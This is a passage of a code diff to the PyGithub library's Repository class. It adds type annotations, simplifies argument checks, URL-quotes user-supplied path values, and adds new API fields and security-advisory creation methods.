milestones_url(self): return self._milestones_url.value @property - def mirror_url(self): + def mirror_url(self) -> str: """ :type: string """ @@ -590,7 +777,7 @@ def mirror_url(self): return self._mirror_url.value @property - def name(self): + def name(self) -> str: """ :type: string """ @@ -598,7 +785,7 @@ def name(self): return self._name.value @property - def network_count(self): + def network_count(self) -> int: """ :type: integer """ @@ -606,7 +793,7 @@ def network_count(self): return self._network_count.value @property - def notifications_url(self): + def notifications_url(self) -> str: """ :type: string """ @@ -614,7 +801,7 @@ def notifications_url(self): return self._notifications_url.value @property - def open_issues(self): + def open_issues(self) -> int: """ :type: integer """ @@ -622,7 +809,7 @@ def open_issues(self): return self._open_issues.value @property - def open_issues_count(self): + def open_issues_count(self) -> int: """ :type: integer """ @@ -630,7 +817,7 @@ def open_issues_count(self): return self._open_issues_count.value @property - def organization(self): + def organization(self) -> Organization: """ :type: :class:`github.Organization.Organization` """ @@ -638,7 +825,7 @@ def organization(self): return self._organization.value @property - def owner(self): + def owner(self) -> NamedUser: """ :type: :class:`github.NamedUser.NamedUser` """ @@ -646,7 +833,7 @@ def owner(self): return self._owner.value @property - def parent(self): + def parent(self) -> Repository: """ :type: :class:`github.Repository.Repository` """ @@ -654,7 +841,7 @@ def parent(self): return self._parent.value @property - def permissions(self): + def permissions(self) -> Permissions: """ :type: :class:`github.Permissions.Permissions` """ @@ -662,7 +849,7 @@ def permissions(self): return self._permissions.value @property - def private(self): + def private(self) -> bool: """ :type: bool """ @@ -670,7 +857,7 @@ def private(self): return self._private.value @property - def pulls_url(self): + def pulls_url(self) -> str: """ :type: string """ @@ -678,15 +865,15 @@ def pulls_url(self): return self._pulls_url.value @property - def pushed_at(self): + def pushed_at(self) -> datetime: """ - :type: datetime.datetime + :type: datetime """ self._completeIfNotSet(self._pushed_at) return self._pushed_at.value @property - def releases_url(self): + def releases_url(self) -> str: """ :type: string """ @@ -694,7 +881,7 @@ def releases_url(self): return self._releases_url.value @property - def security_and_analysis(self): + def security_and_analysis(self) -> SecurityAndAnalysis: """ :type: :class:`` """ @@ -702,7 +889,7 @@ def security_and_analysis(self): return self._security_and_analysis.value @property - def size(self): + def size(self) -> int: """ :type: integer """ @@ -710,7 +897,7 @@ def size(self): return self._size.value @property - def source(self): + def source(self) -> Repository | None: """ :type: :class:`github.Repository.Repository` """ @@ -718,7 +905,23 @@ def source(self): return self._source.value @property - def ssh_url(self): + def squash_merge_commit_message(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._squash_merge_commit_message) + return self._squash_merge_commit_message.value + + @property + def squash_merge_commit_title(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._squash_merge_commit_title) + return self._squash_merge_commit_title.value + + @property + def ssh_url(self) -> str: """ :type: string """ @@ -726,17 +929,15 @@ def ssh_url(self): return self._ssh_url.value @property - def stargazers_count(self): + def stargazers_count(self) -> int: """ :type: integer """ - self._completeIfNotSet( - self._stargazers_count - ) # pragma no cover (Should be covered) + self._completeIfNotSet(self._stargazers_count) # pragma no cover (Should be covered) return self._stargazers_count.value # pragma no cover (Should be covered) @property - def stargazers_url(self): + def stargazers_url(self) -> str: """ :type: string """ @@ -744,7 +945,7 @@ def stargazers_url(self): return self._stargazers_url.value @property - def statuses_url(self): + def statuses_url(self) -> str: """ :type: string """ @@ -752,7 +953,7 @@ def statuses_url(self): return self._statuses_url.value @property - def subscribers_url(self): + def subscribers_url(self) -> str: """ :type: string """ @@ -760,7 +961,7 @@ def subscribers_url(self): return self._subscribers_url.value @property - def subscribers_count(self): + def subscribers_count(self) -> int: """ :type: integer """ @@ -768,7 +969,7 @@ def subscribers_count(self): return self._subscribers_count.value @property - def subscription_url(self): + def subscription_url(self) -> str: """ :type: string """ @@ -776,7 +977,7 @@ def subscription_url(self): return self._subscription_url.value @property - def svn_url(self): + def svn_url(self) -> str: """ :type: string """ @@ -784,7 +985,7 @@ def svn_url(self): return self._svn_url.value @property - def tags_url(self): + def tags_url(self) -> str: """ :type: string """ @@ -792,7 +993,7 @@ def tags_url(self): return self._tags_url.value @property - def teams_url(self): + def teams_url(self) -> str: """ :type: string """ @@ -800,7 +1001,7 @@ def teams_url(self): return self._teams_url.value @property - def topics(self): + def topics(self) -> list[str]: """ :type: list of strings """ @@ -808,7 +1009,7 @@ def topics(self): return self._topics.value @property - def trees_url(self): + def trees_url(self) -> str: """ :type: string """ @@ -816,63 +1017,62 @@ def trees_url(self): return self._trees_url.value @property - def updated_at(self): + def updated_at(self) -> datetime: """ - :type: datetime.datetime + :type: datetime """ self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def visibility(self): - """ - :type: string - """ + def use_squash_pr_title_as_default(self) -> bool: + self._completeIfNotSet(self._use_squash_pr_title_as_default) + return self._use_squash_pr_title_as_default.value + + @property + def visibility(self) -> str: self._completeIfNotSet(self._visibility) return self._visibility.value @property - def watchers(self): - """ - :type: integer - """ + def watchers(self) -> int: self._completeIfNotSet(self._watchers) return self._watchers.value @property - def watchers_count(self): - """ - :type: integer - """ + def watchers_count(self) -> int: self._completeIfNotSet(self._watchers_count) return self._watchers_count.value - def add_to_collaborators(self, collaborator, permission=github.GithubObject.NotSet): + @property + def web_commit_signoff_required(self) -> bool: + """ + :type: bool + """ + self._completeIfNotSet(self._web_commit_signoff_required) + return self._web_commit_signoff_required.value + + def add_to_collaborators(self, collaborator: str | NamedUser, permission: Opt[str] = NotSet) -> Invitation | None: """ - :calls: `PUT /repos/{owner}/{repo}/collaborators/{user} `_ + :calls: `PUT /repos/{owner}/{repo}/collaborators/{user} `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` - :param permission: string 'pull', 'push' or 'admin' + :param permission: string 'pull', 'push', 'admin', 'maintain', or 'triage' :rtype: None """ - assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance( - collaborator, str - ), collaborator - assert permission is github.GithubObject.NotSet or isinstance( - permission, str - ), permission + assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator + assert permission in ["pull", "push", "admin", "maintain", "triage", NotSet], permission if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity + else: + collaborator = urllib.parse.quote(collaborator) - if permission is not github.GithubObject.NotSet: + if is_defined(permission): put_parameters = {"permission": permission} else: put_parameters = None @@ -883,84 +1083,88 @@ def add_to_collaborators(self, collaborator, permission=github.GithubObject.NotS # return an invitation object if there's data returned by the API. If data is empty # there's a pending invitation for the given user. return ( - github.Invitation.Invitation(self._requester, headers, data, completed=True) - if data is not None - else None + github.Invitation.Invitation(self._requester, headers, data, completed=True) if data is not None else None ) - def get_collaborator_permission(self, collaborator): + def get_collaborator_permission(self, collaborator: str | NamedUser) -> str: """ :calls: `GET /repos/{owner}/{repo}/collaborators/{username}/permission `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :rtype: string """ - assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance( - collaborator, str - ), collaborator + assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity + else: + collaborator = urllib.parse.quote(collaborator) headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/collaborators/{collaborator}/permission", ) return data["permission"] - def get_pending_invitations(self): + def get_pending_invitations(self) -> PaginatedList[Invitation]: """ :calls: `GET /repos/{owner}/{repo}/invitations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Invitation.Invitation` + :rtype: :class:`PaginatedList` of :class:`github.Invitation.Invitation` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Invitation.Invitation, self._requester, f"{self.url}/invitations", None, ) - def remove_invitation(self, invite_id): + def remove_invitation(self, invite_id: int) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/invitations/{invitation_id} `_ :rtype: None """ assert isinstance(invite_id, int), invite_id - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/invitations/{invite_id}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/invitations/{invite_id}") - def compare(self, base, head): + def compare(self, base: str, head: str) -> Comparison: """ - :calls: `GET /repos/{owner}/{repo}/compare/{base...:head} `_ + :calls: `GET /repos/{owner}/{repo}/compare/{base...:head} `_ :param base: string :param head: string :rtype: :class:`github.Comparison.Comparison` """ assert isinstance(base, str), base assert isinstance(head, str), head - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/compare/{base}...{head}" - ) - return github.Comparison.Comparison( - self._requester, headers, data, completed=True - ) - - def create_autolink(self, key_prefix, url_template): + base = urllib.parse.quote(base) + head = urllib.parse.quote(head) + # the compare API has a per_page default of 250, which is different to Consts.DEFAULT_PER_PAGE + per_page = self._requester.per_page if self._requester.per_page != Consts.DEFAULT_PER_PAGE else 250 + # only with page=1 we get the pagination headers for the commits element + params = {"page": 1, "per_page": per_page} + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/compare/{base}...{head}", params) + return github.Comparison.Comparison(self._requester, headers, data, completed=True) + + def create_autolink( + self, key_prefix: str, url_template: str, is_alphanumeric: Opt[bool] = NotSet + ) -> github.Autolink.Autolink: """ :calls: `POST /repos/{owner}/{repo}/autolinks `_ :param key_prefix: string :param url_template: string + :param is_alphanumeric: bool :rtype: :class:`github.Autolink.Autolink` """ assert isinstance(key_prefix, str), key_prefix assert isinstance(url_template, str), url_template + assert is_optional(is_alphanumeric, bool), is_alphanumeric - post_parameters = {"key_prefix": key_prefix, "url_template": url_template} - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/autolinks", input=post_parameters + post_parameters = NotSet.remove_unset_items( + {"key_prefix": key_prefix, "url_template": url_template, "is_alphanumeric": is_alphanumeric} ) + + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/autolinks", input=post_parameters) + return github.Autolink.Autolink(self._requester, headers, data, completed=True) - def create_git_blob(self, content, encoding): + def create_git_blob(self, content: str, encoding: str) -> GitBlob: """ :calls: `POST /repos/{owner}/{repo}/git/blobs `_ :param content: string @@ -973,19 +1177,17 @@ def create_git_blob(self, content, encoding): "content": content, "encoding": encoding, } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/git/blobs", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/blobs", input=post_parameters) return github.GitBlob.GitBlob(self._requester, headers, data, completed=True) def create_git_commit( self, - message, - tree, - parents, - author=github.GithubObject.NotSet, - committer=github.GithubObject.NotSet, - ): + message: str, + tree: GitTree, + parents: list[GitCommit], + author: Opt[InputGitAuthor] = NotSet, + committer: Opt[InputGitAuthor] = NotSet, + ) -> GitCommit: """ :calls: `POST /repos/{owner}/{repo}/git/commits `_ :param message: string @@ -997,32 +1199,22 @@ def create_git_commit( """ assert isinstance(message, str), message assert isinstance(tree, github.GitTree.GitTree), tree - assert all( - isinstance(element, github.GitCommit.GitCommit) for element in parents - ), parents - assert author is github.GithubObject.NotSet or isinstance( - author, github.InputGitAuthor - ), author - assert committer is github.GithubObject.NotSet or isinstance( - committer, github.InputGitAuthor - ), committer - post_parameters = { + assert all(isinstance(element, github.GitCommit.GitCommit) for element in parents), parents + assert is_optional(author, github.InputGitAuthor), author + assert is_optional(committer, github.InputGitAuthor), committer + post_parameters: dict[str, Any] = { "message": message, "tree": tree._identity, "parents": [element._identity for element in parents], } - if author is not github.GithubObject.NotSet: + if is_defined(author): post_parameters["author"] = author._identity - if committer is not github.GithubObject.NotSet: + if is_defined(committer): post_parameters["committer"] = committer._identity - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/git/commits", input=post_parameters - ) - return github.GitCommit.GitCommit( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/commits", input=post_parameters) + return github.GitCommit.GitCommit(self._requester, headers, data, completed=True) - def create_git_ref(self, ref, sha): + def create_git_ref(self, ref: str, sha: str) -> GitRef: """ :calls: `POST /repos/{owner}/{repo}/git/refs `_ :param ref: string @@ -1035,23 +1227,22 @@ def create_git_ref(self, ref, sha): "ref": ref, "sha": sha, } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/git/refs", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/refs", input=post_parameters) return github.GitRef.GitRef(self._requester, headers, data, completed=True) def create_git_tag_and_release( self, - tag, - tag_message, - release_name, - release_message, - object, - type, - tagger=github.GithubObject.NotSet, - draft=False, - prerelease=False, - ): + tag: str, + tag_message: str, + release_name: str, + release_message: str, + object: str, + type: str, + tagger: Opt[InputGitAuthor] = NotSet, + draft: bool = False, + prerelease: bool = False, + generate_release_notes: bool = False, + ) -> GitRelease: """ Convenience function that calls :meth:`Repository.create_git_tag` and :meth:`Repository.create_git_release`. @@ -1064,6 +1255,7 @@ def create_git_tag_and_release( :param tagger: :class:github.InputGitAuthor.InputGitAuthor :param draft: bool :param prerelease: bool + :param generate_release_notes: bool :rtype: :class:`github.GitRelease.GitRelease` """ self.create_git_tag(tag, tag_message, object, type, tagger) @@ -1073,18 +1265,20 @@ def create_git_tag_and_release( release_message, draft, prerelease, + generate_release_notes, target_commitish=object, ) def create_git_release( self, - tag, - name, - message, - draft=False, - prerelease=False, - target_commitish=github.GithubObject.NotSet, - ): + tag: str, + name: str, + message: str, + draft: bool = False, + prerelease: bool = False, + generate_release_notes: bool = False, + target_commitish: Opt[str] = NotSet, + ) -> GitRelease: """ :calls: `POST /repos/{owner}/{repo}/releases `_ :param tag: string @@ -1092,6 +1286,7 @@ def create_git_release( :param message: string :param draft: bool :param prerelease: bool + :param generate_release_notes: bool :param target_commitish: string or :class:`github.Branch.Branch` or :class:`github.Commit.Commit` or :class:`github.GitCommit.GitCommit` :rtype: :class:`github.GitRelease.GitRelease` """ @@ -1100,14 +1295,10 @@ def create_git_release( assert isinstance(message, str), message assert isinstance(draft, bool), draft assert isinstance(prerelease, bool), prerelease - assert target_commitish is github.GithubObject.NotSet or isinstance( + assert isinstance(generate_release_notes, bool), generate_release_notes + assert is_optional( target_commitish, - ( - str, - github.Branch.Branch, - github.Commit.Commit, - github.GitCommit.GitCommit, - ), + (str, github.Branch.Branch, github.Commit.Commit, github.GitCommit.GitCommit), ), target_commitish post_parameters = { "tag_name": tag, @@ -1115,84 +1306,68 @@ def create_git_release( "body": message, "draft": draft, "prerelease": prerelease, + "generate_release_notes": generate_release_notes, } if isinstance(target_commitish, str): post_parameters["target_commitish"] = target_commitish elif isinstance(target_commitish, github.Branch.Branch): post_parameters["target_commitish"] = target_commitish.name - elif isinstance( - target_commitish, (github.Commit.Commit, github.GitCommit.GitCommit) - ): + elif isinstance(target_commitish, (github.Commit.Commit, github.GitCommit.GitCommit)): post_parameters["target_commitish"] = target_commitish.sha - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/releases", input=post_parameters - ) - return github.GitRelease.GitRelease( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/releases", input=post_parameters) + return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) def create_git_tag( - self, tag, message, object, type, tagger=github.GithubObject.NotSet - ): + self, + tag: str, + message: str, + object: str, + type: str, + tagger: Opt[InputGitAuthor] = NotSet, + ) -> GitTag: """ :calls: `POST /repos/{owner}/{repo}/git/tags `_ - :param tag: string - :param message: string - :param object: string - :param type: string - :param tagger: :class:`github.InputGitAuthor.InputGitAuthor` - :rtype: :class:`github.GitTag.GitTag` """ assert isinstance(tag, str), tag assert isinstance(message, str), message assert isinstance(object, str), object assert isinstance(type, str), type - assert tagger is github.GithubObject.NotSet or isinstance( - tagger, github.InputGitAuthor - ), tagger - post_parameters = { + assert is_optional(tagger, github.InputGitAuthor), tagger + post_parameters: dict[str, Any] = { "tag": tag, "message": message, "object": object, "type": type, } - if tagger is not github.GithubObject.NotSet: + if is_defined(tagger): post_parameters["tagger"] = tagger._identity - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/git/tags", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/tags", input=post_parameters) return github.GitTag.GitTag(self._requester, headers, data, completed=True) - def create_git_tree(self, tree, base_tree=github.GithubObject.NotSet): + def create_git_tree(self, tree: list[InputGitTreeElement], base_tree: Opt[GitTree] = NotSet) -> GitTree: """ :calls: `POST /repos/{owner}/{repo}/git/trees `_ :param tree: list of :class:`github.InputGitTreeElement.InputGitTreeElement` :param base_tree: :class:`github.GitTree.GitTree` :rtype: :class:`github.GitTree.GitTree` """ - assert all( - isinstance(element, github.InputGitTreeElement) for element in tree - ), tree - assert base_tree is github.GithubObject.NotSet or isinstance( - base_tree, github.GitTree.GitTree - ), base_tree - post_parameters = { + assert all(isinstance(element, github.InputGitTreeElement) for element in tree), tree + assert is_optional(base_tree, github.GitTree.GitTree), base_tree + post_parameters: dict[str, Any] = { "tree": [element._identity for element in tree], } - if base_tree is not github.GithubObject.NotSet: + if is_defined(base_tree): post_parameters["base_tree"] = base_tree._identity - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/git/trees", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/trees", input=post_parameters) return github.GitTree.GitTree(self._requester, headers, data, completed=True) def create_hook( self, - name, - config, - events=github.GithubObject.NotSet, - active=github.GithubObject.NotSet, - ): + name: str, + config: dict[str, str], + events: Opt[list[str]] = NotSet, + active: Opt[bool] = NotSet, + ) -> Hook: """ :calls: `POST /repos/{owner}/{repo}/hooks `_ :param name: string @@ -1203,32 +1378,23 @@ def create_hook( """ assert isinstance(name, str), name assert isinstance(config, dict), config - assert events is github.GithubObject.NotSet or all( - isinstance(element, str) for element in events - ), events - assert active is github.GithubObject.NotSet or isinstance(active, bool), active - post_parameters = { - "name": name, - "config": config, - } - if events is not github.GithubObject.NotSet: - post_parameters["events"] = events - if active is not github.GithubObject.NotSet: - post_parameters["active"] = active - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/hooks", input=post_parameters + assert is_optional_list(events, str), events + assert is_optional(active, bool), active + post_parameters = NotSet.remove_unset_items( + {"name": name, "config": config, "events": events, "active": active} ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/hooks", input=post_parameters) return github.Hook.Hook(self._requester, headers, data, completed=True) def create_issue( self, - title, - body=github.GithubObject.NotSet, - assignee=github.GithubObject.NotSet, - milestone=github.GithubObject.NotSet, - labels=github.GithubObject.NotSet, - assignees=github.GithubObject.NotSet, - ): + title: str, + body: Opt[str] = NotSet, + assignee: NamedUser | Opt[str] = NotSet, + milestone: Opt[Milestone] = NotSet, + labels: list[Label] | Opt[list[str]] = NotSet, + assignees: Opt[list[str]] | list[NamedUser] = NotSet, + ) -> Issue: """ :calls: `POST /repos/{owner}/{repo}/issues `_ :param title: string @@ -1240,54 +1406,38 @@ def create_issue( :rtype: :class:`github.Issue.Issue` """ assert isinstance(title, str), title - assert body is github.GithubObject.NotSet or isinstance(body, str), body - assert ( - assignee is github.GithubObject.NotSet - or isinstance(assignee, github.NamedUser.NamedUser) - or isinstance(assignee, str) - ), assignee - assert assignees is github.GithubObject.NotSet or all( - isinstance(element, github.NamedUser.NamedUser) or isinstance(element, str) - for element in assignees - ), assignees - assert milestone is github.GithubObject.NotSet or isinstance( - milestone, github.Milestone.Milestone - ), milestone - assert labels is github.GithubObject.NotSet or all( - isinstance(element, github.Label.Label) or isinstance(element, str) - for element in labels - ), labels + assert is_optional(body, str), body + assert is_optional(assignee, (str, github.NamedUser.NamedUser)), assignee + assert is_optional_list(assignees, (github.NamedUser.NamedUser, str)), assignees + assert is_optional(milestone, github.Milestone.Milestone), milestone + assert is_optional_list(labels, (github.Label.Label, str)), labels - post_parameters = { + post_parameters: dict[str, Any] = { "title": title, } - if body is not github.GithubObject.NotSet: + if is_defined(body): post_parameters["body"] = body - if assignee is not github.GithubObject.NotSet: - if isinstance(assignee, str): - post_parameters["assignee"] = assignee - else: + if is_defined(assignee): + if isinstance(assignee, github.NamedUser.NamedUser): post_parameters["assignee"] = assignee._identity - if assignees is not github.GithubObject.NotSet: + else: + post_parameters["assignee"] = assignee + if is_defined(assignees): post_parameters["assignees"] = [ - element._identity - if isinstance(element, github.NamedUser.NamedUser) - else element - for element in assignees + element._identity if isinstance(element, github.NamedUser.NamedUser) else element + for element in assignees # type: ignore ] - if milestone is not github.GithubObject.NotSet: + if is_defined(milestone): post_parameters["milestone"] = milestone._identity - if labels is not github.GithubObject.NotSet: + if is_defined(labels): post_parameters["labels"] = [ element.name if isinstance(element, github.Label.Label) else element - for element in labels + for element in labels # type: ignore ] - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/issues", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/issues", input=post_parameters) return github.Issue.Issue(self._requester, headers, data, completed=True) - def create_key(self, title, key, read_only=False): + def create_key(self, title: str, key: str, read_only: bool = False) -> RepositoryKey: """ :calls: `POST /repos/{owner}/{repo}/keys `_ :param title: string @@ -1303,14 +1453,10 @@ def create_key(self, title, key, read_only=False): "key": key, "read_only": read_only, } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/keys", input=post_parameters - ) - return github.RepositoryKey.RepositoryKey( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/keys", input=post_parameters) + return github.RepositoryKey.RepositoryKey(self._requester, headers, data, completed=True) - def create_label(self, name, color, description=github.GithubObject.NotSet): + def create_label(self, name: str, color: str, description: Opt[str] = NotSet) -> Label: """ :calls: `POST /repos/{owner}/{repo}/labels `_ :param name: string @@ -1320,14 +1466,12 @@ def create_label(self, name, color, description=github.GithubObject.NotSet): """ assert isinstance(name, str), name assert isinstance(color, str), color - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description + assert is_optional(description, str), description post_parameters = { "name": name, "color": color, } - if description is not github.GithubObject.NotSet: + if is_defined(description): post_parameters["description"] = description headers, data = self._requester.requestJsonAndCheck( "POST", @@ -1339,11 +1483,11 @@ def create_label(self, name, color, description=github.GithubObject.NotSet): def create_milestone( self, - title, - state=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - due_on=github.GithubObject.NotSet, - ): + title: str, + state: Opt[str] = NotSet, + description: Opt[str] = NotSet, + due_on: Opt[date] = NotSet, + ) -> Milestone: """ :calls: `POST /repos/{owner}/{repo}/milestones `_ :param title: string @@ -1353,33 +1497,25 @@ def create_milestone( :rtype: :class:`github.Milestone.Milestone` """ assert isinstance(title, str), title - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert due_on is github.GithubObject.NotSet or isinstance( - due_on, (datetime.datetime, datetime.date) - ), due_on + assert is_optional(state, str), state + assert is_optional(description, str), description + assert is_optional(due_on, (datetime, date)), due_on post_parameters = { "title": title, } - if state is not github.GithubObject.NotSet: + if is_defined(state): post_parameters["state"] = state - if description is not github.GithubObject.NotSet: + if is_defined(description): post_parameters["description"] = description - if due_on is not github.GithubObject.NotSet: - if isinstance(due_on, datetime.date): + if is_defined(due_on): + if isinstance(due_on, date): post_parameters["due_on"] = due_on.strftime("%Y-%m-%dT%H:%M:%SZ") else: post_parameters["due_on"] = due_on.isoformat() - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/milestones", input=post_parameters - ) - return github.Milestone.Milestone( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/milestones", input=post_parameters) + return github.Milestone.Milestone(self._requester, headers, data, completed=True) - def create_project(self, name, body=github.GithubObject.NotSet): + def create_project(self, name: str, body: Opt[str] = NotSet) -> Project: """ :calls: `POST /repos/{owner}/{repo}/projects `_ :param name: string @@ -1387,155 +1523,327 @@ def create_project(self, name, body=github.GithubObject.NotSet): :rtype: :class:`github.Project.Project` """ assert isinstance(name, str), name - assert body is github.GithubObject.NotSet or isinstance(body, str), body + assert is_optional(body, str), body post_parameters = { "name": name, } import_header = {"Accept": Consts.mediaTypeProjectsPreview} - if body is not github.GithubObject.NotSet: + if is_defined(body): post_parameters["body"] = body headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/projects", headers=import_header, input=post_parameters ) return github.Project.Project(self._requester, headers, data, completed=True) - def create_pull(self, *args, **kwds): - """ - :calls: `POST /repos/{owner}/{repo}/pulls `_ - :param title: string - :param body: string - :param issue: :class:`github.Issue.Issue` - :param base: string - :param head: string - :param draft: bool - :param maintainer_can_modify: bool - :rtype: :class:`github.PullRequest.PullRequest` - """ - if len(args) + len(kwds) >= 4: - return self.__create_pull_1(*args, **kwds) - else: - return self.__create_pull_2(*args, **kwds) - - def __create_pull_1( + def create_pull( self, - title, - body, - base, - head, - maintainer_can_modify=github.GithubObject.NotSet, - draft=False, - ): - assert isinstance(title, str), title - assert isinstance(body, str), body + base: str, + head: str, + *, + title: Opt[str] = NotSet, + body: Opt[str] = NotSet, + maintainer_can_modify: Opt[bool] = NotSet, + draft: Opt[bool] = NotSet, + issue: Opt[github.Issue.Issue] = NotSet, + ) -> github.PullRequest.PullRequest: + """ + :calls: `POST /repos/{owner}/{repo}/pulls `_ + """ assert isinstance(base, str), base assert isinstance(head, str), head - assert maintainer_can_modify is github.GithubObject.NotSet or isinstance( - maintainer_can_modify, bool - ), maintainer_can_modify - assert isinstance(draft, bool), draft - if maintainer_can_modify is not github.GithubObject.NotSet: - return self.__create_pull( - title=title, - body=body, - base=base, - head=head, - maintainer_can_modify=maintainer_can_modify, - draft=draft, + assert is_optional(title, str), title + assert is_optional(body, str), body + assert is_optional(maintainer_can_modify, bool), maintainer_can_modify + assert is_optional(draft, bool), draft + assert is_optional(issue, github.Issue.Issue), issue + + post_parameters = NotSet.remove_unset_items( + { + "base": base, + "head": head, + "title": title, + "body": body, + "maintainer_can_modify": maintainer_can_modify, + "draft": draft, + } + ) + + if is_defined(issue): + post_parameters["issue"] = issue._identity + + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/pulls", input=post_parameters) + return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) + + def create_repository_advisory( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: str | None = None, + vulnerabilities: Iterable[github.AdvisoryVulnerability.AdvisoryVulnerabilityInput] | None = None, + cwe_ids: Iterable[str] | None = None, + credits: Iterable[github.AdvisoryCredit.AdvisoryCredit] | None = None, + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + """ + :calls: `POST /repos/{owner}/{repo}/security-advisories `_ + :param summary: string + :param description: string + :param severity_or_cvss_vector_string: string + :param cve_id: string + :param vulnerabilities: iterable of :class:`github.AdvisoryVulnerability.AdvisoryVulnerabilityInput` + :param cwe_ids: iterable of string + :param credits: iterable of :class:`github.AdvisoryCredit.AdvisoryCredit` + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + return self.__create_repository_advisory( + summary=summary, + description=description, + severity_or_cvss_vector_string=severity_or_cvss_vector_string, + cve_id=cve_id, + vulnerabilities=vulnerabilities, + cwe_ids=cwe_ids, + credits=credits, + private_vulnerability_reporting=False, + ) + + def report_security_vulnerability( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: str | None = None, + vulnerabilities: Iterable[github.AdvisoryVulnerability.AdvisoryVulnerabilityInput] | None = None, + cwe_ids: Iterable[str] | None = None, + credits: Iterable[github.AdvisoryCredit.AdvisoryCredit] | None = None, + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + """ + :calls: `POST /repos/{owner}/{repo}/security-advisories/reports `_ + :param summary: string + :param description: string + :param severity_or_cvss_vector_string: string + :param cve_id: string + :param vulnerabilities: iterable of :class:`github.AdvisoryVulnerability.AdvisoryVulnerabilityInput` + :param cwe_ids: iterable of string + :param credits: iterable of :class:`github.AdvisoryCredit.AdvisoryCredit` + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + return self.__create_repository_advisory( + summary=summary, + description=description, + severity_or_cvss_vector_string=severity_or_cvss_vector_string, + cve_id=cve_id, + vulnerabilities=vulnerabilities, + cwe_ids=cwe_ids, + credits=credits, + private_vulnerability_reporting=True, + ) + + def __create_repository_advisory( + self, + summary: str, + description: str, + severity_or_cvss_vector_string: str, + cve_id: str | None, + vulnerabilities: Iterable[github.AdvisoryVulnerability.AdvisoryVulnerabilityInput] | None, + cwe_ids: Iterable[str] | None, + credits: Iterable[github.AdvisoryCredit.AdvisoryCredit] | None, + private_vulnerability_reporting: bool, + ) -> github.RepositoryAdvisory.RepositoryAdvisory: + if vulnerabilities is None: + vulnerabilities = [] + if cwe_ids is None: + cwe_ids = [] + assert isinstance(summary, str), summary + assert isinstance(description, str), description + assert isinstance(severity_or_cvss_vector_string, str), severity_or_cvss_vector_string + assert isinstance(cve_id, (str, type(None))), cve_id + assert isinstance(vulnerabilities, Iterable), vulnerabilities + for vulnerability in vulnerabilities: + github.AdvisoryVulnerability.AdvisoryVulnerability._validate_vulnerability(vulnerability) + assert isinstance(cwe_ids, Iterable), cwe_ids + assert all(isinstance(element, str) for element in cwe_ids), cwe_ids + assert isinstance(credits, (Iterable, type(None))), credits + if credits is not None: + for credit in credits: + github.AdvisoryCredit.AdvisoryCredit._validate_credit(credit) + post_parameters = { + "summary": summary, + "description": description, + "vulnerabilities": [ + github.AdvisoryVulnerability.AdvisoryVulnerability._to_github_dict(vulnerability) + for vulnerability in vulnerabilities + ], + "cwe_ids": list(cwe_ids), + } + if cve_id is not None: + post_parameters["cve_id"] = cve_id + if credits is not None: + 